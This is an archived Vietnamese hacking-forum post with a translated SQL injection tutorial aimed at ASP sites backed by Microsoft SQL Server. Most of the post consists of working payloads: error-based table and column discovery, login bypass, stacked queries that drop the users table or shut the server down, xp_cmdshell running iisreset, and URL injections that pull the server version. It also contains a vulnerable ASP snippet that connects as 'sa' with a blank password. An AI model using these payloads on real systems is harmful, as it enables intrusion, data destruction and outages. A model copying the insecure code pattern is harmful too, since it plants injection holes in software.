banner
 .::Exploit::. SQL Injection Tutorial - Sưu tầm của HVA cũ Go to original post Author: Unknown - Translator: BigballVN Sưu Tầm - Entry Date: 14/02/2009 01:28:54
Ví dụ 1:
Microsoft SQL phát triển riêng cho mình 1 cách viết lệnh SQL mới , còn gọi là Transact SQL, hay TSQL. Tôi sẽ sử dụng sức mạnh của TSQL để mô tả về cách thức tấn công SQL Injection. Hãy dựa vào câu SQL mà chúng ta đang xem xét. Giả sử tôi nhập vào :

Username: ' having 1=1 ---
Password: [Anything]

Câu SQL trở thành

CODE
select userName from users where userName='' having 1=1



Và ngay lập tức , Ms.SQL báo lỗi và gửi trả về màn hình trang web:

Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'users.userName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/login.asp, line 16

Nhìn kỹ lại thông báo và chúng ta thấy rằng Ms.SQL đã để lộ 2 thông tin cho người dùng vô danh (ở đây là chúng ta đang thử khai thác lỗi SQL Injection) là tên của 1 Field và tên của Table mà chúng ta đang muốn xâm nhập , field "users.userName" . Sử dụng tên có được này chúng ta dùng cú pháp LIKE :

Username: ' or users.userName like 'a%' ---
Password: [Anything]

và câu SQL trở thành

CODE
select userName from users where userName='' or
users.userName like 'a%' --' and userPass=''



Câu SQL này thu thập tất cả những users có Username bắt đầu là "a" và trong trường hợp này là admin

Logged In As admin

Ví dụ 2:
Ngôn ngữ SQL qui định dấu ';' là kết thúc 1 câu query và sau dấu ';' là một câu query mới. Ví dụ như
select 1; select 1+2; select 1+3; sẽ thực hiện cả 3 câu query. Lợi dụng điều này , ta hãy làm như sau:

Username: ' or 1=1; drop table users; --
Password: [Anything]

Và ...phù, toàn bộ dữ liệu về users của website biến mất.

Ví dụ 3:
Trong ví dụ này tôi sẽ cho bạn thấy việc khai thác sự tiện lợi của TSQL có thể làm biến mất Database hoặc thậm chí shutdown luôn IIS. Chúng ta sẽ xem xét 1 số lệnh đặc biệt của Ms.SQL và phần "stored procedures". Đa số website khi kết nối với Database thường sử dụng account sa(default system account) để kết nối từ ASP đến Ms.SQL. Mặc định , account sa có toàn quyền , bao gồm delete, rename, và thêm vào database, table , triggers....

Nào bây giờ chúng ta hãy nhập vào:

Username: '; shutdown with nowait; --
Password: [Anything]

Một trong những lệnh "nguy hiểm" nhất của Ms.SQL là SHUTDOWN WITH NOWAIT . Khi nhận lệnh này , toàn bộ server Ms.SQL ngừng hoạt động hoàn toàn và chỉ restart và làm việc lại khi được ra lệnh bằng tay từ trình SQL service manager , hoặc tab Services của Windows. Và khi bạn nhập vào như trên , câu SQL trở thành


CODE
select userName from users where userName='';
shutdown with nowait; --' and userPass=''



Nếu website sử dụng account sa và bị khai thác lỗi như trên , nó sẽ dừng hoàn toàn phần Database từ 1giây cho đến vài ngày , dừng đến khi nào có người phát hiện ra là nó đã bị dừng và khởi động nó lại bằng tay.

SQL Server cũng có sẵn (Includes) một vài thủ tục (stored procedures) được viết bằng C++ DLL. Những thủ tục này được dùng để vận hành SQL Server một cách dễ dàng như đọc thư mục , registry , xóa files, chạy 1 dòng lệnh command... Toàn bộ stored procedures thường bắt đầu bằng "xp_". Có 1 vài stored procedures có thể gây nguy hiểm cho server. Hãy xem xét , giả sử IIS chạy cùng server với SQL server và chúng ta nhập vào:

Username: '; exec master..xp_cmdshell 'iisreset'; --
Password: [Anything]

Câu lệnh SQL trở thành


CODE
select userName from users where userName='';
exec master..xp_cmdshell 'iisreset'; --' and userPass=''



Ngạc nhiên chưa ? Sau khi SQL Server biến mất thì bây giờ toàn bộ website biến mất !!!

Ví dụ 4:
Bây giờ, chúng ta sẽ chuyển qua 1 thứ mà chúng ta thường gặp hơn. Thông thường khi vào những website thương mại , bạn thường thấy URL có dạng như sau:

www.mysite.com/products.asp?productId=2

Trong đó, ID = 2 là mã hàng hoá và câu lệnh để lấy thông tin về hàng hoá là

CODE
Select prodName from products where id = 2



Và chúng ta hãy tạo 1 files có nhiệm vụ đưa ra thông tin hàng hoá là products.asp như sau

CODE
<% <br/> dim prodId
prodId = Request.QueryString("productId")

set conn = server.createObject("ADODB.Connection")
set rs = server.createObject("ADODB.Recordset")

query = "select prodName from products where id = " & prodId

conn.Open "Provider=SQLOLEDB; Data Source=(local);
Initial Catalog=myDB; User Id=sa; Password="
rs.activeConnection = conn
rs.open query

if not rs.eof then
response.write "Got product " & rs.fields("prodName").value
else
response.write "No product found"
end if
%>


Sau đó chúng ta nhập vào dòng URL của Browser
http://www.mysite.com/products.asp?productId=0%20having%201=1

Ngay lập tức, trình duyệt sẽ báo lỗi như sau

Microsoft OLE DB Provider for SQL Server (0x80040E14)

Column 'products.prodName' is invalid in the select
list because it is not contained in an aggregate
function and there is no GROUP BY clause.

/products.asp, line 13

Cũng như ví dụ trên, 2 thông tin mà chúng ta khai thác được là Table products và Field prodName . Tiếp theo , với những thông tin đã biết được , ta tiếp tục đánh vào

http://www.mysite.com/products.asp?productId=0;insert%20into%20products
(prodName)%20values(left(@@version,50))

Câu URL trên đã chạy lệnh INSERT và thêm vào 1 row mới trong database, tại field prodName là 50 chữ cái thông tin về phiên bản Ms.SQL đang chạy tại server (Do biến @@version tạo ra). Vấn đề còn lại là lấy field đó ra trở lại

http://www.mysite.com/products.asp?productId=(select%20max(id)
%20from%20products)

Max(id) để bảo đảm lấy được hàng cuối cùng chứa thông tin mà chúng ta vừa thêm vào. Hãy xem bạn đã lấy được gì

Got product Microsoft SQL Server 2000 - 8.00.534 (Intel X86)
Đây là 1 thông tin vô cùng quí giá, nó cho phép Hackers tiếp theo lợi dụng những lổ hổng Security Bugs từ phiên bản này để tiếp tục tấn công và chiếm toàn quyền điều khiển server.
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Other posts in the same group:

SQL Injection Tutorial - Sưu tầm của HVA cũ
Go to top Go to original post  

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|